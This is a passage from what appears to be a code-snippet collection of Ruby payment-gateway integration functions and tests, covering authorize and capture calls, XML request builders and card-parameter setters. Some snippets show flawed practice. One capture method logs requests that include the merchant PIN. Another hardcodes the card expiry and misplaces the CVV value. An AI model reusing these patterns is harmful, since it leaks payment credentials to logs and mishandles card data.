elements MUST be present for the\n # xml to be valid (or can drop the ExtendedPolicy and use\n # a predefined one\n xml.tag! :ExtendedPolicy do\n xml.tag! :cv2_policy, \n :notprovided => POLICY_REJECT,\n :notchecked => POLICY_REJECT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_REJECT\n xml.tag! :postcode_policy,\n :notprovided => POLICY_ACCEPT,\n :notchecked => POLICY_ACCEPT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_ACCEPT\n xml.tag! :address_policy, \n :notprovided => POLICY_ACCEPT,\n :notchecked => POLICY_ACCEPT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_ACCEPT\n end\n end\n end\n end", "def test_successful_authorize_and_capture\n response = @gateway.authorize(@amount, @credit_card, @options)\n assert_success response\n\n response = @gateway.capture(@amount, response.authorization)\n assert_success response\n end", "def customer_credit_card_capture_rq(amount, authorization, options)\n xml = Builder::XmlMarkup.new(:indent => 2)\n \n create_qbmsxml_msgs_rq(xml,options) {\n xml.tag!('CustomerCreditCardCaptureRq') do\n xml.tag!('TransRequestID', options[:order_id])\n xml.tag!('CreditCardTransID', authorization)\n xml.tag!('Amount', amount)\n end\n }\n \n xml.target!\n end", "def test_authorization_and_capture\n assert authorization = @gateway.authorize(@amount, @good_card, @options)\n assert_success authorization\n\n assert capture = @gateway.capture(@amount, authorization.authorization)\n assert_success capture\n assert capture.params['aux_msg'].include? 'has been successfully marked for settlement.'\n assert_equal 'Success', capture.message\n end", "def capture(money, authorization, options = {})\n requires!(options, :credit_card)\n\n form = {}\n add_salestax(form, options)\n add_approval_code(form, authorization)\n add_invoice(form, options)\n add_creditcard(form, options[:credit_card])\n add_customer_data(form, options)\n add_test_mode(form, options)\n commit(:capture, money, form)\n end", "def capture(money, authorization, options = {})\n\n body = credentials\n body[:ssl_transaction_type] = :cccomplete\n body[:ssl_description] = 'Keyed Sale API'\n body[:ssl_amount] = (money.to_money/100.0).to_s if money.present?\n body[:ssl_txn_id] = authorization\n\n names = [ :ssl_merchant_id,\n :ssl_user_id,\n :ssl_pin,\n :ssl_description,\n :ssl_transaction_type,\n :ssl_txn_id ]\n\n body_text = 'xmldata=<txn>' + xmlize2(body,names) + '</txn>'\n\n # for logging\n logger.error 'REQUEST: ' + body_text\n\n response = RestClient.post(url, body_text) {|response, request, result| response }\n logger.error 'RESPONSE: ' + response\n\n\n doc = JSON.parse(Hash.from_xml(response).to_json,:symbolize_names=>true)[:txn]\n\n return request_failed_response(doc) if request_failed?(doc)\n\n ActiveMerchant::Billing::Response.new(\n doc[:ssl_result] == '0',\n doc[:ssl_result_message], {},\n :authorization => doc[:ssl_txn_id],\n :request => body_text,\n :response => doc.to_json)\n end", "def add_credit_card(xml, credit_card, address)\n\n xml.tag! :Card do\n\n # DataCash calls the CC number 'pan'\n xml.tag! :pan, credit_card.number\n xml.tag! :expirydate, format_date(credit_card.month, credit_card.year)\n\n # optional values - for Solo etc\n if [ 'switch', 'solo' ].include?(card_brand(credit_card).to_s)\n\n xml.tag! :issuenumber, credit_card.issue_number unless credit_card.issue_number.blank?\n\n if !credit_card.start_month.blank? && !credit_card.start_year.blank?\n xml.tag! :startdate, format_date(credit_card.start_month, credit_card.start_year)\n end\n end\n\n xml.tag! :Cv2Avs do\n xml.tag! :cv2, credit_card.verification_value if credit_card.verification_value?\n xml.tag! :cv2_present, '1' if credit_card.verification_value?\n\n if address\n xml.tag! :street_address1, address[:address1] unless address[:address1].blank?\n xml.tag! :street_address2, address[:address2] unless address[:address2].blank?\n xml.tag! :street_address3, address[:city] unless address[:city].blank?\n xml.tag! :street_address4, address[:state] unless address[:state].blank?\n xml.tag! :postcode, address[:zip] unless address[:zip].blank?\n xml.tag! :country, address[:country] unless address[:country].blank?\n end\n\n # The ExtendedPolicy defines what to do when the passed data\n # matches, or not...\n #\n # All of the following elements MUST be present for the\n # xml to be valid (or can drop the ExtendedPolicy and use\n # a predefined one\n # xml.tag! :ExtendedPolicy do\n # xml.tag! :cv2_policy,\n # :notprovided => POLICY_REJECT, # REJ\n # :notchecked => POLICY_REJECT, # REJ\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_REJECT\n # xml.tag! :postcode_policy,\n # :notprovided => POLICY_ACCEPT,\n # :notchecked => POLICY_ACCEPT,\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_ACCEPT\n # xml.tag! :address_policy,\n # :notprovided => POLICY_ACCEPT,\n # :notchecked => POLICY_ACCEPT,\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_ACCEPT\n # end\n end\n end\n end", "def test_authorization_and_capture\n return if Base.mode == :test # only tests in production mode\n assert_equal Base.mode, :production\n assert authorization = @gateway.authorize(@amount, @credit_card, @options)\n assert_success authorization\n \n assert capture = @gateway.capture(@amount, authorization.authorization)\n assert_success capture\n assert_match(/This transaction has been approved/, capture.message)\n end", "def capture(money, authorization, options = {})\n commit(build_mark_for_capture_xml(money, authorization, options))\n end", "def capture(money, authorization, options = {})\n options = options.merge(:transaction_type => \"COLLECTION\")\n options = options.merge(:xml_transaction_wrapper => 'CrossReferenceTransaction')\n options = options.merge(:soap_action => \"https://www.thepaymentgateway.net/CrossReferenceTransaction\")\n\n commit(build_capture_request(money, authorization, options), options)\n end", "def set_cc_information(params={})\r\n @PARAM_HASH['PAYMENT_TYPE'] = 'CREDIT'\r\n @PARAM_HASH['CC_NUM'] = params[:cc_number] || ''\r\n @PARAM_HASH['CC_EXPIRES'] = params[:cc_expiration] || ''\r\n @PARAM_HASH['CVCVV2'] = params[:cvv2] || ''\r\n end", "def capture(money, authorization, options = {})\r\n request = RocketGate::GatewayRequest.new\r\n response = RocketGate::GatewayResponse.new\r\n service = RocketGate::GatewayService.new\r\n if test? # Test transaction?\r\n service.SetTestMode(true) # Set internal test mode\r\n end\r\n\r\n#\r\n#\tAdd the details of the transaction to the request.\r\n#\r\n add_merchant_data(request, options) # Add merchant information\r\n add_financial_data(request, money, options)\r\n request.Set(RocketGate::GatewayRequest::TRANSACT_ID, authorization)\r\n\r\n#\r\n#\tPeform the transaction and return a response.\r\n#\r\n service.PerformTicket(request, response)\r\n return create_response(response)\r\n end", "def build_purchase_or_authorization_request_with_credit_card_request(type, money, credit_card, options)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n\n xml.tag! :Transaction do\n if options[:set_up_continuous_authority]\n xml.tag! :ContAuthTxn, :type => 'setup'\n end\n xml.tag! :CardTxn do\n xml.tag! :method, type\n add_credit_card(xml, credit_card, options[:billing_address])\n end\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n xml.tag! :Order do\n add_customer_profile(xml, options[:email], options[:ip_address])\n end\n end\n end\n end\n xml.target!\n end", "def capture(\n amazon_authorization_id,\n capture_reference_id,\n amount,\n currency_code: @currency_code,\n seller_capture_note: nil,\n soft_descriptor: nil,\n provider_credit_details: nil,\n merchant_id: @merchant_id,\n mws_auth_token: nil\n )\n\n parameters = {\n 'Action' => 'Capture',\n 'SellerId' => merchant_id,\n 'AmazonAuthorizationId' => amazon_authorization_id,\n 'CaptureReferenceId' => capture_reference_id,\n 'CaptureAmount.Amount' => amount,\n 'CaptureAmount.CurrencyCode' => currency_code\n }\n\n optional = {\n 'SellerCaptureNote' => seller_capture_note,\n 'SoftDescriptor' => soft_descriptor,\n 'MWSAuthToken' => mws_auth_token\n }\n\n optional.merge!(set_provider_credit_details(provider_credit_details)) if provider_credit_details\n\n operation(parameters, optional)\n end", "def set_cc_information(params={})\r\n @PARAM_HASH['PAYMENT_TYPE'] = 'CREDIT'\r\n @PARAM_HASH['CC_NUM'] = params[:cc_number] || ''\r\n @PARAM_HASH['CC_EXPIRES'] = params[:cc_expiration] || ''\r\n @PARAM_HASH['CVCCVV2'] = params[:cvv2] || ''\r\n end", "def build_verify_request(credit_card, options)\n timestamp = new_timestamp\n xml = Builder::XmlMarkup.new indent: 2\n xml.tag! 'request', 'timestamp' => timestamp, 'type' => 'otb' do\n add_merchant_details(xml, options)\n xml.tag! 'orderid', sanitize_order_id(options[:order_id])\n add_card(xml, credit_card)\n add_comments(xml, options)\n add_signed_digest(xml, timestamp, @options[:login], sanitize_order_id(options[:order_id]), credit_card.number)\n end\n xml.target!\n end", "def create_transaction_auth_capture(amount, profile_id, payment_profile_id, order = nil, options = {})\n create_transaction(:auth_capture, amount, profile_id, payment_profile_id, order, options)\n end", "def authorize(options)\n response = gateway.authorize(options.fetch(:amount), options.fetch(:creditcard), options[:extra])\n transaction_id = response.success? ? response.params['transaction_id'] : nil\n [transaction_id, response]\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def pay\n #@CallerTokenId = params['CallerTokenId']\n #@RecipientTokenId = params['RecipientTokenId']\n #@SenderTokenId = params['SenderTokenId']\n #@Amount = params['Amount']\n\n call = { 'Action' => 'Pay',\n \t\t# tokens\n \t\t'CallerTokenId' => @CallerTokenId,\n \t\t'SenderTokenId' => @SenderTokenId,\n \t\t'RecipientTokenId' => @RecipientTokenId,\n\t\t\n \t\t# transactions details ### NOTE: Complex types are sent like this. #####\n \t\t'TransactionAmount.Amount' => @Amount, \n \t\t'TransactionAmount.CurrencyCode' => 'USD', \n \t\t'TransactionDate' => Time.now.gmtime.iso8601, # example result: 2007-05-10T13:08:02\n \t\t'ChargeFeeTo' => 'Recipient', #this must match the true/false value from the recipient token\n\t\t\n \t\t# references - unique transaction values\n \t\t'CallerReference' => 'Order-' + Time.now.to_i.to_s, # required unique value for each pay call\n \t\t'SenderReference' => 'Test Sender reference string', # optional unique reference for the sender\n \t\t'RecipientReference' => 'Test Recipient reference string' # optional unique reference for the recipient\n }\n # make the REST call \n\t\t@fps_response = AWS::FPS::Query.do(call)\n\t\trexml_doc = REXML::Document.new(@fps_response)\n\t\telements = rexml_doc.root.elements\n @xml_out = pretty_xml(rexml_doc)\n\t\t@status = elements[\"Status\"].text\n\t\t@request_id = elements[\"RequestId\"].text\n\t\t@success = false\n\t\tif @status == \"Success\"\n\t\t @success = true\n\t\t @TransactionId = elements[\"TransactionResponse\"].elements['TransactionId'].text\n\t\tend\n end", "def authorize(options = {})\n @post = ActiveMerchant::PostData.new\n\n self.add_receivers(options)\n self.add_customer(options)\n self.add_meta(options)\n self.add_callbacks(options)\n\n response = commit(:authorize)\n @token = response.success? ? response.token : nil\n response\n end", "def capture(money, authorization, options = {})\n requires!(@options, :advanced_login, :advanced_password)\n\n post = options.merge(TransNo: authorization)\n\n add_amount(post, money, options)\n add_advanced_user(post)\n add_standard_parameters('capture', post, options[:unique_id])\n add_tx_source(post, options)\n\n commit(post)\n end", "def append_api_credentials(params)\n is_param_defined(params) do\n params = Struct::ApiCredentials.new\n params.version = Struct::Version.new\n end \n if params.merchant_id == nil \n params.merchant_id = self.config.merchant_id\n end\n if params.merchant_key == nil\n params.merchant_key = self.config.merchant_key\n end\n if params.version.client == nil\n params.version.client = ZipMoney::Configuration::API_NAME + \" Version:\" + ZipMoney::Configuration::API_VERSION\n end\n if params.version.platform == nil\n params.version.platform = ZipMoney::Configuration::API_PLATFORM\n end\n params \n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def example_credit_card_params( params = {})\n default = {\n :first_name => 'First Name',\n :last_name => 'Last Name',\n :brand => 'visa',\n :number => '4111111111111111',\n :month => '10',\n :year => '2012',\n :verification_value => '999'\n }.merge( params )\n\n specific = case gateway_name #SubscriptionConfig.gateway_name\n when 'authorize_net_cim'\n {\n :brand => 'visa',\n :number => '4007000000027',\n }\n # 370000000000002 American Express Test Card\n # 6011000000000012 Discover Test Card\n # 4007000000027 Visa Test Card\n # 4012888818888 second Visa Test Card\n # 3088000000000017 JCB\n # 38000000000006 Diners Club/ Carte Blanche\n\n when 'bogus'\n {\n :brand => 'bogus',\n :number => '1',\n }\n\n else\n {}\n end\n\n default.merge(specific).merge(params)\n end", "def create_payment_card(params)\n c_r Lokalise::Resources::PaymentCard, :create, nil, params\n end", "def authorized_with_capture(options = {})\n options = { :date_authorized => Date.today, :date_captured => Date.today }.merge(options)\n request_params = {\n 'customerID' => customer_id,\n 'cartID' => cart_id,\n 'orderID' => order_id,\n 'dateAuthorized' => options[:date_authorized],\n 'dateCaptured' => options[:date_captured]\n }.merge(TaxCloud.auth_params)\n\n response = TaxCloud.client.request :authorized_with_capture, :body => request_params\n end", "def capture(account, merchant, transaction_id)\n url = \"/#{CGI::escape(account)}/transactions/#{transaction_id}/capture\"\n post_json url, {capture_request: {merchant: merchant}}\n expect_status! 'CAPTURED'\n # puts @response.inspect\n end", "def prepare_params(params)\n s_params = {}\n params.each_pair {|k,v| s_params[k.to_s] = v }\n s_params['api_key'] = FacebookApi.api_key\n s_params['v'] = FacebookApi::API_VERSION\n s_params['call_id'] = Time.now.to_f.to_s\n s_params['format'] = 'JSON'\n s_params['sig'] = FacebookApi.calculate_signature(s_params)\n s_params\n end", "def authorize_and_capture\n \n resp = StdClass.new \n if self.financial_status == Invoice::FINANCIAL_STATUS_CAPTURED\n resp.error = \"Funds for this invoice have already been captured.\"\n else\n \n sc = self.site.store_config \n case sc.pp_name \n when StoreConfig::PAYMENT_PROCESSOR_STRIPE\n \n Stripe.api_key = sc.stripe_secret_key.strip\n bt = nil\n begin\n c = Stripe::Charge.create(\n :amount => (self.total * 100).to_i,\n :currency => 'usd',\n :customer => self.customer.stripe_customer_id,\n :capture => true,\n :metadata => { :invoice_id => self.id },\n :statement_descriptor => \"#{self.site.description.truncate(22)}\"\n ) \n rescue Exception => ex\n resp.error = \"Error during capture process\\n#{ex.message}\" \n end \n if resp.error.nil?\n InvoiceTransaction.create(\n :invoice_id => self.id,\n :transaction_id => c.id,\n :transaction_type => InvoiceTransaction::TYPE_AUTHCAP,\n :payment_processor => sc.pp_name,\n :amount => c.amount / 100.0,\n :captured => true,\n :date_processed => DateTime.now.utc,\n :success => c.status == 'succeeded'\n )\n if c.status == 'succeeded'\n self.financial_status = Invoice::FINANCIAL_STATUS_CAPTURED\n self.save\n resp.success = true\n else\n resp.error = \"Error capturing funds.\"\n end\n end\n \n end \n end \n return resp\n end", "def test_authorization_and_capture\n assert authorization = @gateway.authorize(100, @good_creditcard)\n assert authorization.success?\n \n assert capture = @gateway.capture(100, authorization.authorization)\n assert capture.success?\n assert_equal 'Success', capture.message\n end", "def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end", "def create\n params_hash = {\n 'x_login' => @x_login,\n 'x_trans_key' => @x_trans_key,\n 'x_invoice' => invoice,\n 'x_amount' => amount,\n 'x_iduser' => iduser,\n 'x_bank' => bank,\n 'x_country' => country,\n 'x_sub_code' => sub_code,\n 'type' => response_type\n }\n\n message_to_control = \"#{invoice}D#{amount}P#{iduser}A\"\n\n sha256 = OpenSSL::Digest::SHA256.new\n control = OpenSSL::HMAC.hexdigest(sha256, [@secret_key].pack('A*'), [message_to_control].pack('A*'))\n control = control.upcase\n\n params_hash['control'] = control\n params_hash['x_currency'] = currency if currency\n params_hash['x_description'] = description if description\n params_hash['x_cpf'] = cpf if cpf\n params_hash['x_return'] = return_url if return_url\n params_hash['x_confirmation'] = confirmation_url if confirmation_url\n\n astro_curl(@astro_urls['create'], params_hash)\n end", "def authorize(money, creditcard, options = {})\r\n request = RocketGate::GatewayRequest.new\r\n response = RocketGate::GatewayResponse.new\r\n service = RocketGate::GatewayService.new\r\n if test? # Test transaction?\r\n service.SetTestMode(true) # Set internal test mode\r\n end\r\n\r\n#\r\n#\tAdd the details of the transaction to the request.\r\n#\r\n add_merchant_data(request, options) # Add merchant information\r\n add_customer_data(request, options) # Add customer information\r\n add_invoice_data(request, money, options)\r\n add_creditcard(request, creditcard) # Add credit card data\r\n add_address(request, options[:billing_address])\r\n add_business_rules_data(request, options)\r\n\r\n#\r\n#\tPeform the transaction and return a response.\r\n#\r\n service.PerformAuthOnly(request, response)\r\n return create_response(response)\r\n end", "def to_xml\n a = REXML::Element.new(\"parameter\")\n a.add_attribute(\"id\", id)\n a.add_attribute(\"name\", name)\n if (description != nil)\n a.add_element(\"description\").text = description\n end\n if (defaultValue != nil)\n a.add_element(\"default\").text = defaultValue\n end\n return a\n end", "def construct_attribs_payload( orcid, oauth_access, oauth_renew, oauth_scope, user_types )\n h = {}\n\n h['orcid'] = orcid\n h['oauth_access_token'] = oauth_access\n h['oauth_refresh_token'] = oauth_renew\n h['user_types'] = user_types\n h['scope'] = oauth_scope\n\n #puts \"==> #{h.to_json}\"\n return h.to_json\n end", "def set_cc_information(account, expire, cvv='')\n @PARAM_HASH['PAYMENT_TYPE'] = 'CREDIT'\n @PARAM_HASH['CC_NUM'] = account\n @PARAM_HASH['CC_EXPIRES'] = expire\n @PARAM_HASH['CVCVV2'] = cvv\n end", "def create(params)\n params.merge!(\n :order_no => (Time.now.to_f * 10000).to_i.to_s, # Produce a unique order_no - it's not used anywhere, but ePay needs this\n :amount => 0\n )\n \n post = Api.default_post_for_params(params).merge({\n :subscription => 1,\n :subscriptionname => params[:description]\n })\n \n query = Api.authorize(post)\n \n if query['accept']\n # Return the new subscriber\n subscription = new(query[\"subscriptionid\"].to_i).reload\n \n # Set (obfuscated) card number:\n subscription.card_no = query[\"tcardno\"]\n \n subscription\n else\n new(nil, 'error' => query[\"error\"])\n end\n end", "def generate_auth_header(params)\n auth_header_value = \"\"\n params.each_pair{|key, value|\n auth_header_value += \",\" if auth_header_value.length > 0\n auth_header_value += \"#{key.urlencode}=\\\"#{value.urlencode}\\\"\"\n }\n\n return auth_header_value\n end", "def capture(money, authorization, options = {})\n post = { trans_id: authorization }\n add_customer_data(post, options)\n commit('PRIOR_AUTH_CAPTURE', money, post)\n end", "def returnByIdXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnById('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnById\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil' => \"true\")\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'i:type' => \"ns1:BankcardReturn\"){\n xml['ns2'].TransactionId params[:TransactionId] ,'xmlns:ns2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions'\n if params[:Amount] != ''\n xml['ns1'].Amount params[:Amount]\n else\n xml['ns1'].Amount '0.00'\n end\n }\n xml.MerchantProfileId merchant_profile_id\n } \n end.to_xml\n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for returnByIdXML!\"\n end \n end", "def build_xml( id, price, options )\n xml = ::Builder::XmlMarkup.new\n xml.GenerateRequest do\n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.AmountInput sprintf(\"%.2f\", price)\n xml.TxnId id\n xml.TxnType options[:txn_type] ? options[:txn_type].to_s.capitalize : \"Purchase\"\n xml.CurrencyInput options[:currency_input] || \"NZD\"\n xml.MerchantReference options[:merchant_reference] || options[:reference] || id.to_s ## Backwards compatibility\n xml.UrlSuccess options[:url_success] || ::Pxpay::Base.url_success \n xml.UrlFail options[:url_failure] || ::Pxpay::Base.url_failure\n xml.EmailAddress options[:email_address] if options[:email_address]\n xml.TxnData1 options[:txn_data1] if options[:txn_data1]\n xml.TxnData2 options[:txn_data2] if options[:txn_data2]\n xml.TxnData3 options[:txn_data3] if options[:txn_data3]\n xml.TxnData4 options[:txn_data4] if options[:txn_data4]\n xml.Opt options[:opt] if options[:opt]\n xml.EnableAddBillCard 1 if options[:token_billing]\n xml.BillingId options[:billing_id] if options[:token_billing]\n end\n end", "def generate_oauth_signature params, url\n base_request_uri = CGI::escape(url.to_s)\n query_params = []\n\n params.sort.map do |key, value|\n query_params.push(encode_param(key.to_s) + \"%3D\" + encode_param(value.to_s))\n end\n\n query_string = query_params\n .join(\"%26\")\n string_to_sign = \"#{@method}&#{base_request_uri}&#{query_string}\"\n\n if ![\"v1\", \"v2\"].include? @version\n consumer_secret = \"#{@consumer_secret}&\"\n else\n consumer_secret = @consumer_secret\n end\n\n return Base64.strict_encode64(OpenSSL::HMAC.digest(digest, consumer_secret, string_to_sign))\n end", "def build\n headers = {\n 'Authorization' => \"Passcode #{passcode}\",\n }\n headers['Content-Type'] = content_type if content_type\n headers['Sub-Merchant-Id'] = sub_merchant_id if sub_merchant_id\n headers\n end", "def capture(amount, authorization, options = {})\n xml = signon_app_cert_rq\n response = commit('session_ticket', xml)\n if response.success?\n options[:session_ticket] = response.authorization\n xml = customer_credit_card_capture_rq(amount, authorization, options)\n commit('capture', xml)\n end\n end", "def parse_card(params)\n ActiveMerchant::Billing::CreditCard.new(:number => params[:card_number],\n :verification_value => params[:card_code],\n :month => params[:card_month], \n :year => params[:card_year], \n :first_name => params[:first_name],\n :last_name => params[:last_name]) \n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('samlp:AssertionIDRequest') {\n assertion_id_refs.each { |assertion_id_ref| xml << assertion_id_ref.to_xml }\n }\n end", "def get_auth_transaction\n\t\ttrans = self.create_transaction\n\t\t# Set order specific fields\n\t\ttrans.type = 'AUTH_CAPTURE'\n\t\treturn trans\n\tend", "def authorize(money, creditcard, options = {})\n requires!(options, :shop_transaction_id)\n requires_credit_card_name(creditcard)\n transaction_data = TransactionData.new({:money => money, :credit_card => creditcard}.merge(options))\n get_response(\"PAGAMS2S.asp\", transaction_data, options)\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def capture\n raise InvalidOperation unless authorized?\n raise InvalidOperation if captured?\n\n @payment_gateway.capture(@payment_gateway_transaction_identifier)\n\n apply(Payments::CaptureSucceeded.strict(data: {\n transaction_identifier: @transaction_identifier,\n payment_gateway_identifier: @payment_gateway.identifier,\n payment_gateway_transaction_identifier: @payment_gateway_transaction_identifier,\n order_number: @order_number,\n amount: @amount,\n currency: @currency\n }))\n rescue PaymentGatewayCaptureFailed\n apply(Payments::CaptureFailed.strict(data: {\n transaction_identifier: @transaction_identifier,\n payment_gateway_identifier: @payment_gateway.identifier,\n order_number: @order_number\n }))\n end", "def build_request_header\n web_authentication_detail = XmlNode.new('WebAuthenticationDetail') do |wad|\n wad << XmlNode.new('UserCredential') do |uc|\n uc << XmlNode.new('Key', @options[:key])\n uc << XmlNode.new('Password', @options[:password])\n end\n end\n \n client_detail = XmlNode.new('ClientDetail') do |cd|\n cd << XmlNode.new('AccountNumber', @options[:account])\n cd << XmlNode.new('MeterNumber', @options[:login])\n end\n \n trasaction_detail = XmlNode.new('TransactionDetail') do |td|\n td << XmlNode.new('CustomerTransactionId', @options[:po_number]) \n end\n \n [web_authentication_detail, client_detail, trasaction_detail]\n end", "def test_credit_card_authorize_and_capture_amount_low\n assert auth = @gateway.authorize(@amount, @credit_card, @options)\n assert_success auth\n assert_equal 'Approved', auth.message\n assert capture = @gateway.capture(@amount-100, auth.authorization, @credit_card, @options)\n assert_success capture\n assert_equal 'Approved', capture.message\n end", "def build_xml(xml)\n check_configuration\n xml.DistributionConfig('xmlns' => \"http://cloudfront.amazonaws.com/doc/#{Cloudfront::API_VERSION}/\") {\n xml.CallerReference @caller_reference\n @aliases.build_xml(xml)\n xml.DefaultRootObject @default_root_object\n @origins_container.build_xml(xml)\n @default_cache_behavior.build_xml(xml)\n @behaviors.build_xml(xml)\n xml.Comment @comment\n @logging.build_xml(xml)\n xml.PriceClass @price_class\n xml.Enabled @enabled\n }\n end", "def authorize(params = {})\n open_url authorize_url(params)\n end", "def build_purchase_or_authorization_request_with_token_request(type, money, token, options)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n\n xml.tag! :Transaction do\n xml.tag! :CardTxn do\n xml.tag! :method, type\n add_token(xml, token, options[:expiry], options[:billing_address], options[:cvv])\n end\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n xml.tag! :Order do\n add_customer_profile(xml, options[:email], options[:ip_address])\n end\n end\n end\n end\n xml.target!\n end", "def authorize_card_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuthorizeApi.authorize_card ...'\n end\n # resource path\n local_var_path = '/api/creditcard/v1/authorize'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'details'])\n auth_names = ['basic']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ChargeResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuthorizeApi#authorize_card\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def build_payment_mechanism(xml, credit_card)\n xml.PaymentMech{\n xml.CreditCard{\n type = credit_card.type\n xml.Type(CARDS[type.to_sym] || 1, :DataType=>\"S32\")\n xml.Number(credit_card.number)\n #TODO: only takes 2 digit year and month\n #xml.Expires(\"#{credit_card.year}/#{credit_card.month}\", :DataType=>\"ExpirationDate\", :Locale=>\"826\") \n xml.Expires(\"10/10\", :DataType=>\"ExpirationDate\", :Locale=>\"826\") \n \n if not credit_card.start_year.nil? or not credit_card.start_month.nil?\n xml.StartDate(\"#{credit_card.start_year}/#{credit_card.start_month}\", :DataType=>\"StartDate\", :Local=>\"826\") \n end\n if not credit_card.issue_number.nil?\n xml.IssueNum(credit_card.issue_number)\n end\n if not credit_card.verification_value.nil?\n xml.Cvv2Indicator(\"1\")\n xml.Cvv2Indicator(credit_card.verification_value)\n end\n }\n }\n end", "def adjustXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Adjust('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Adjust\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:ns2' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",\n 'xmlns:ns3' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\") {\n if params[:Amount] != ''\n xml['ns2'].Amount params[:Amount]\n else\n xml['ns2'].Amount '0.00'\n end \n xml['ns3'].TransactionId params[:TransactionId]\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for adjustXML!\"\n end \n end", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml['me'].env({ 'xmlns:me' => XMLNS }) do\n xml['me'].data({ type: type }, 